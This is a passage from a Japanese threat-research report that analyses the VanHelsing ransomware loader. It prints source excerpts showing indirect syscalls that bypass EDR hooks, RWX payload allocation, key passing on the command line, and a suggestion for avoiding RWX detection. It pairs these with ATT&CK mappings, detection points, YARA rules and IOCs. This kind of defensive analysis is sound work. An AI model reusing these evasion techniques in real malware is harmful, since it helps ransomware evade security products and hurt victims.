          → syscall (カーネルモード遷移)

[VanHelsing Loaderの手法(Indirect Syscall)]
  アプリケーション
    → sys.asm: NtAllocateVirtualMemory
      → mov r10, rcx
      → mov eax, <syscall番号>
      → jmp [ntdll内のsyscall命令アドレス]  ← EDRフックをバイパス
        → syscall (カーネルモード遷移)

EDR製品(CrowdStrike Falcon、Microsoft Defender for Endpoint等)は ntdll.dll のNt関数の先頭バイトを自社のフックコードに書き換える(インラインフック)。VanHelsingのLoaderはntdll関数の先頭(フックが設置される場所)を経由せず、関数内部の syscall 命令に直接ジャンプすることで、フックを完全にバイパスする。

5.2 syscall命令の検索ロジック

// main.cpp:150-161
for (int i = 0; i < 50; i++) {
    if (*((BYTE*)(pNtAllocateVirtualMemory + i)) == 0x0F &&
        *((BYTE*)(pNtAllocateVirtualMemory + i + 1)) == 0x05) {
        sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + i;
        break;
    }
}

ntdll関数の先頭50バイト以内で 0x0F 0x05syscall 命令のオペコード)を検索する。EDRがインラインフックで先頭バイトを書き換えていても、syscall 命令自体は通常書き換えられないため、この検索は成功する。

検知手法: ETW(Event Tracing for Windows)はカーネルレベルでsyscallを監視できるため、ntdllフックをバイパスされても、NtAllocateVirtualMemoryの呼び出し自体はETWで捕捉可能。特に PAGE_EXECUTE_READWRITE での大規模メモリ確保は高リスクイベントとして検知できる[9]。

5.3 PAGE_EXECUTE_READWRITE の使用

NTSTATUS vprotect = NtAllocateVirtualMemory(
    NtCurrentProcess(), (PVOID*)&NullBuffer, (ULONG_PTR)0,
    &buffSize,
    (ULONG)(MEM_COMMIT | MEM_RESERVE),
    PAGE_EXECUTE_READWRITE);  // RWX — 読み書き実行可能

PAGE_EXECUTE_READWRITE(RWX)メモリ領域は、データの書き込みとコード実行の両方が可能な特殊なメモリ保護属性である。正規のアプリケーションでRWXメモリを使用するケースは稀であり(JITコンパイラ等を除く)、これは非常に強い悪意の指標となる。

改善案(参考): より洗練されたローダーは以下の手順でRWXを回避する:

  1. PAGE_READWRITE でメモリ確保
  2. PEデータを書き込み
  3. セクションごとに NtProtectVirtualMemory で適切な保護属性を設定(.text → PAGE_EXECUTE_READ、.data → PAGE_READWRITE等)

VanHelsingのLoaderはこの手順を省略し、全体をRWXで確保している。これは実装の簡易化を優先した結果であり、メモリ保護の観点ではセキュリティ製品に検知されやすい。

参考文献

[11] https://hadess.io/edr-evasion-techniques-using-syscalls/ (HADESS)
[12] main.cpp:119-193, sys.asm:1-16


6. コマンドライン引数と鍵管理

6.1 ParseArgs() — 鍵の受け取り (core.cpp:84-135)

BOOL ParseArgs()
{
    int argc;
    LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    if (!argv) {
        MessageBoxW(NULL, L"Failed to parse command line", L"Error",
                    MB_OK | MB_ICONERROR);
        return FALSE;
    }

    // デバッグモード
    if (IsArgExists(argc, argv, L"-v") == TRUE) {
        AllocConsole();
        freopen("CONOUT$", "w", stdout);
        freopen("CONOUT$", "w", stderr);
        freopen("CONIN$", "r", stdin);
        Debug = TRUE;
    }

    // パスワード(AES鍵 + nonce)— 必須引数
    if (IsArgExists(argc, argv, L"--Password") == TRUE) {
        std::wstring password = GetArgsValue(argc, argv, L"--Password");
        if (password.empty()) {
            DebugVerbose((WCHAR*)L"Empty password\n", TRUE);
            getchar();
            return FALSE;
        }
        else {
            // "KEY:NONCE" 形式を分割
            splitHashAndNonce(password, AES_MASTER_KEY, AES_MASTER_NONCE);
        }
    }
    else {
        DebugVerbose((WCHAR*)L"The password is required\n", TRUE);
        getchar();
        return FALSE;
    }

    return TRUE;
}

Lockerでは --Password がコメントアウトされていたが、Loaderでは必須引数として実装・有効化されている。Loaderは --Password KEY:NONCE 形式でAES-256-GCM復号鍵(32バイト)とnonce(12バイト)を受け取る。

6.2 splitHashAndNonce() — 鍵とnonceの分割 (core.cpp:25-39)

void splitHashAndNonce(const std::wstring& input,
                       std::string& master_key, std::string& master_nonce)
{
    std::string str_input = wstring_to_string(input);

    size_t pos = str_input.find(':');  // ':' で分割
    if (pos != std::string::npos) {
        master_key = str_input.substr(0, pos);      // ':' の前 → AES鍵
        master_nonce = str_input.substr(pos + 1);    // ':' の後 → AES nonce
    }
    else {
        wprintf(L"Invalid format: ':' not found in input\n");
    }
}

コマンドラインから受け取った文字列を : で分割し、前半を AES_MASTER_KEY、後半を AES_MASTER_NONCE に格納する。

使用例:

loader.exe --Password AABBCCDD...(32バイト鍵):11223344...(12バイトnonce)

OPSEC考察 — コマンドラインでの鍵受け渡しの利点と脆弱性:

利点:

  • Loaderバイナリ自体に鍵が含まれないため、バイナリの静的解析でペイロードを復号できない
  • VirusTotalにLoaderがアップロードされても、暗号化ペイロードは安全
  • Lockerの --Password(コメントアウト済み)とは異なり、Loaderでは有効化されている — Loaderの方が高いOPSEC意識で設計されている

脆弱性:

  • コマンドライン引数はWindows Security EventID 4688(プロセス作成監査)やSysmon EventID 1で記録される
  • ProcessCommandLine フィールドに鍵がプレーンテキストで残存する
  • メモリフォレンジックでプロセスのPEB(Process Environment Block)からコマンドラインを抽出可能
  • 親プロセス(psexecやcmd.exe)のメモリにもコマンドライン文字列が残る可能性

バグ: GetArgsValue()の境界外アクセス — Lockerと同一のコード(core.cpp:53-65)であり、--Password がコマンドラインの最後の引数として指定された場合に argv[argc] への不正アクセスが発生する。

参考文献

[13] core.cpp:25-135


7. 旧バージョンとの差分分析

oldmain.cpp は全面コメントアウトされた旧バージョンのLoaderであり、現行バージョンへの進化過程を示す重要な開発アーティファクトである。

7.1 主要な差異

項目 旧バージョン (oldmain.cpp) 現行バージョン (main.cpp)
メモリ確保 VirtualAlloc() (Win32 API) NtAllocateVirtualMemory (直接syscall/x64)
EDR回避 なし Indirect Syscall
アーキテクチャ 32bitのみ 32bit + 64bit両対応
リロケーション IMAGE_REL_BASED_HIGHLOW のみ HIGHLOW + DIR64
インポート解決 FirstThunk のみ OriginalFirstThunk + FirstThunk
鍵管理 AES_HEX_KEY / AES_HEX_NONCE (マクロ定数) コマンドライン --Password KEY:NONCE
変数名 難読化あり(A89haudwnakldm等) 平文(dosHeader等)
コンソール コメントアウト コメントアウト

7.2 旧バージョンの変数難読化

// oldmain.cpp:46-55 — 難読化された変数名
PIMAGE_DOS_HEADER A89haudwnakldm = (PIMAGE_DOS_HEADER)code;
PIMAGE_NT_HEADERS B89haudwnakldm = (PIMAGE_NT_HEADERS)(code + A89haudwnakldm->e_lfanew);
PIMAGE_SECTION_HEADER qLbzoowb = IMAGE_FIRST_SECTION(B89haudwnakldm);
// yOWyjdWo, qOeGpyErbS, ajlTeYdRrGi, gjdNsjuNdb, eRsiXgtb, ...

旧バージョンでは変数名がランダムな文字列で難読化されていた。興味深いことに、現行バージョンではこの難読化が除去されており、dosHeader, ntHeaders, sectionHeader などの平文変数名が使用されている。

考察: これは逆説的な変化である。通常、ソフトウェアの開発が進むにつれてOPSEC性は向上する(難読化が追加される)が、VanHelsingでは逆に難読化が除去されている。推測される理由:

  • 難読化はコードの可読性を低下させ、デバッグと開発を困難にする
  • ビルダーがコンパイル前にソースコードを自動難読化する機能が計画されていた(が未実装)
  • RaaSプラットフォームとして、アフィリエイトがコードを理解しやすくする必要があった

7.3 旧バージョンの鍵管理

// oldmain.cpp:32-33
std::string aes_hex_key = AES_HEX_KEY;
std::string aes_hex_nonce = AES_HEX_NONCE;

旧バージョンでは AES_HEX_KEYAES_HEX_NONCE がマクロ定数としてソースコードに埋め込まれていた(Lockerの X25519_PUBLIC_KEY と同じ方式)。これにより、Loaderバイナリの静的解析で鍵を抽出し、暗号化ペイロードを復号することが可能だった。

現行バージョンでコマンドライン引数に変更されたのは、この脆弱性に対する明確な改善である。

参考文献

[14] oldmain.cpp:1-147


8. コメントアウトされたAPI動的解決コード

core.h と core.cpp には、大量のコメントアウトされたAPI動的解決コードが存在する(core.h:75-111, core.cpp:158-316)。

8.1 放棄されたInitializeLibsFunctions()

// core.cpp:176-267(コメントアウト)
//BOOL InitializeLibsFunctions()
//{
//    HMODULE k32dll = LoadLibraryA("Kernel32.dll");
//
//    pHeapAlloc = (funcHeapAlloc)GetProcAddress(k32dll, "HeapAlloc");
//    pGetProcessHeap = (funcGetProcessHeap)GetProcAddress(k32dll, "GetProcessHeap");
//    pHeapFree = (funcHeapFree)GetProcAddress(k32dll, "HeapFree");
//    pGetModuleFileNameA = (funcGetModuleFileNameA)GetProcAddress(k32dll, "GetModuleFileNameA");
//    pCreateProcessA = (funcCreateProcessA)GetProcAddress(k32dll, "CreateProcessA");
//    pWaitForSingleObject = (funcWaitForSingleObject)GetProcAddress(k32dll, "WaitForSingleObject");
//    pGetEnvironmentVariableA = (funcGetEnvironmentVariableA)GetProcAddress(k32dll, "GetEnvironmentVariableA");
//    pGetWindowsDirectoryA = (funcGetWindowsDirectoryA)GetProcAddress(k32dll, "GetWindowsDirectoryA");
//    pGetVolumeInformationA = (funcGetVolumeInformationA)GetProcAddress(k32dll, "GetVolumeInformationA");
//    // ...
//}

これはIAT(Import Address Table)難読化の試みであった。通常のインポートテーブルにWindows API関数が列挙されると、静的解析でLoaderの機能を推測できる。動的に GetProcAddress で関数ポインタを取得する方式にすれば、IATに関数名が現れなくなる。

放棄された理由の推測: LoadLibraryAGetProcAddress 自体がIATに現れるため、IAT難読化としては不完全。より高度な手法(PEB→LDR→InLoadOrderModuleListからのDLL検索 + ハッシュベースのエクスポート解決)への移行が必要だが、実装の複雑さから断念したと推測される。

core.cpp:270-316にはカスタムメモリ管理関数(pAlloc, pSet, pCopy, pFree)もコメントアウトされている。これらはCRT(C Runtime Library)の malloc/memset/memcpy/free の代替として、HeapAlloc/HeapFree を直接使用するものだった。CRT依存を排除することでバイナリサイズの削減とIATの最小化を狙ったが、同様に放棄された。

参考文献

[15] core.h:75-111, core.cpp:158-316


9. 検知・ハンティングポイント

9.1 MITRE ATT&CK マッピング

ID テクニック Loaderでの実装
T1620 Reflective Code Loading リフレクティブPEローディング
T1106 Native API NtAllocateVirtualMemory直接syscall
T1027.009 Embedded Payloads AES-256-GCM暗号化ペイロード埋め込み
T1140 Deobfuscate/Decode Files or Information AES-256-GCM復号
T1055 Process Injection インプロセスPE実行

9.2 検知ポイント

検知対象 方法 データソース
--Password コマンドライン引数 プロセス作成監視 Sysmon 1 / Security 4688
RWX大規模メモリ確保 メモリ保護属性監視 ETW / EDR
ntdll関数内部へのジャンプ コールスタック検証 ETW / EDR
LoadLibraryA 連続呼び出し API呼び出しパターン ETW
GetProcAddress 大量呼び出し API呼び出しパターン ETW
0x0F05(syscall)パターンの検索 メモリスキャン EDR

9.3 推奨防御策

対策 効果
コマンドライン監査の有効化 --Password 引数から鍵を回収可能
ETWベースの監視 syscall直接呼び出しを捕捉
RWXメモリ検出 大規模RWX領域のアラート
AppLocker/WDAC 未署名バイナリの実行ブロック
ネットワークセグメンテーション Loaderの配置自体を防止

参考文献

[16] https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/ (Palo Alto Networks) [17] https://research.splunk.com/stories/vanhelsing_ransomware/ (Splunk)


10. バグ・実装上の問題

10.1 全バグリスト

# 問題 箇所 影響度
1 getchar()がx64正常フロー上に存在 main.cpp:173 後述(解釈が分かれる)
2 GetArgsValue()の境界外アクセス core.cpp:53-65 中 — 最終引数がvalueなしの場合クラッシュ
3 NullBuffer(マッピングPE)の未解放 main.cpp:313 低 — プロセス終了で自動解放
4 AES_MASTER_KEY/NONCEの長さ未検証 core.cpp:120 中 — 不正な長さで復号失敗
5 splitHashAndNonce()のエラー時処理欠如 core.cpp:37 中 — ':'がない場合に空文字列のまま続行
6 malloc(encrypted_codeSize)のサイズが暗号文サイズ main.cpp:64 低 — 復号後は短くなるが余剰領域は無害

10.2 getchar()の分析 — デバッグ残留か意図的機構か (main.cpp:173)

#ifdef _M_X64
    // ... NtAllocateVirtualMemory成功 ...

    getchar();  // x64パスのみ: 入力待ちでブロック

#else
    // ... x86パスにはgetchar()がない ...
#endif

x64ビルドのLoaderは、NtAllocateVirtualMemory成功後に getchar() でブロックする。この getchar() の解釈は2通りある。

解釈A: 意図的なサンドボックス回避/手動制御機構

  • サンドボックス対策: 自動解析環境(ANY.RUN、Joe Sandbox、Cuckoo等)はユーザーの対話的入力を提供しない。getchar() でブロックすることで、サンドボックス上ではペイロード展開に到達せず、動的解析でLockerの挙動が露出しない。これはサンドボックス回避の簡易的だが有効な手法であり、MITRE ATT&CK T1497.003(Time Based Evasion)に類似する
  • 手動実行制御: アフィリエイトがNtAllocateVirtualMemory成功を確認した後、Enterキーでペイロード展開を開始するタイミングを手動で制御できる。EDRの警告を確認してから続行するかどうかを判断する猶予となる
  • GUIアプリケーションでの挙動: -v 未指定時はコンソールが確保されていないため、getchar()stdin がない状態で呼ばれる。MSVC CRTの実装では即座にEOFを返す可能性があり、この場合は実質的に影響しない。つまり「-v デバッグ時のみ停止し、本番実行では通過する」という設計意図の可能性がある

解釈B: デバッグ用コードの残留(バグ)

  • x86パスに getchar() がない: 意図的なら両アーキテクチャで一貫しているべきである。x64パスにのみ存在するのは、x64実装時のデバッグ中に追加され、そのまま残留したことを示唆する
  • 他のデバッグコードとの一貫性: 同ファイル内の //printf(...)//wprintf(...) はコメントアウトされているが、getchar() だけがコメントアウトされていない — コメントアウトし忘れの可能性
  • エラーパスと同パターン: エラーパスの getchar() はエラーメッセージ確認のための一時停止として明確にデバッグ目的であり、行173もそのパターンの延長として混入した可能性

結論: 確定的にどちらとも断定できないが、x86パスとの非対称性およびコメントアウトされた周辺のデバッグコードとの不整合から、デバッグ残留の可能性が高いと考えられる。ただし、GUIアプリケーションとしてコンパイルされた場合にstdinがないため通常実行では即座に返る可能性があり、実用上の影響は限定的である。サンドボックス解析時にこの挙動が観察された場合は、意図的な回避機構として報告される可能性がある点に留意すべきである。

10.3 splitHashAndNonce()のエラー処理欠如

void splitHashAndNonce(const std::wstring& input,
                       std::string& master_key, std::string& master_nonce)
{
    std::string str_input = wstring_to_string(input);
    size_t pos = str_input.find(':');
    if (pos != std::string::npos) {
        master_key = str_input.substr(0, pos);
        master_nonce = str_input.substr(pos + 1);
    }
    else {
        wprintf(L"Invalid format: ':' not found in input\n");
        // エラーメッセージを出力するが、FALSEを返さずに続行
        // → AES_MASTER_KEY, AES_MASTER_NONCE が空文字列のまま復号を試行
        // → crypto_aead_aes256gcm_decrypt()が失敗
    }
}

: が見つからない場合、警告メッセージは出力されるが、ParseArgs() はTRUEを返して処理が続行される。その結果、空文字列の鍵/nonceでAES復号が試行され、crypto_aead_aes256gcm_decrypt() が失敗する。致命的ではないが、エラーメッセージが分かりにくくなる。

参考文献

[18] main.cpp:173, core.cpp:25-39, 53-65


11. IOC・検出シグネチャ

11.1 ファイルIOC

インジケータ 説明
--Password コマンドライン引数 Loader実行の確定的指標
AES-256-GCMで暗号化された1.4MBの埋め込みデータ code.h由来のペイロード
NtAllocateVirtualMemory + PAGE_EXECUTE_READWRITE RWXメモリ確保
LoadLibraryA + GetProcAddress 大量呼び出し インポート解決
sys.asm由来の mov r10, rcx; mov eax, XX; jmp [XX] パターン Indirect Syscallスタブ

11.2 プロセス実行パターン

# Loaderの典型的なコマンドライン
loader.exe --Password <32バイトHEX鍵>:<12バイトHEXnonce>

# デバッグモード付き
loader.exe -v --Password <鍵>:<nonce>

11.3 YARAルール

rule VanHelsing_Loader_Syscall_Stub {
    meta:
        description = "Detects VanHelsing Loader's indirect syscall stub"
    strings:
        // sys.asm pattern: mov r10, rcx; mov eax, <dword>; jmp qword ptr [<addr>]
        $syscall_stub = { 4C 8B D1 B8 ?? ?? ?? ?? FF 25 }
    condition:
        $syscall_stub
}

rule VanHelsing_Loader_AES_GCM_Decrypt {
    meta:
        description = "Detects VanHelsing Loader's AES-GCM decryption pattern"
    strings:
        $s1 = "crypto_aead_aes256gcm_decrypt" ascii
        $s2 = "--Password" wide
        $s3 = "Decryption failed" wide
    condition:
        2 of them
}

11.4 Check Point検出シグネチャ

SHA-1 説明
4211cec2f905b9c94674a326581e4a5ae0599df9 Loader [19]

参考文献

[19] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[20] https://www.cyfirma.com/research/vanhelsing-ransomware/ (CYFIRMA, 2025-03-16)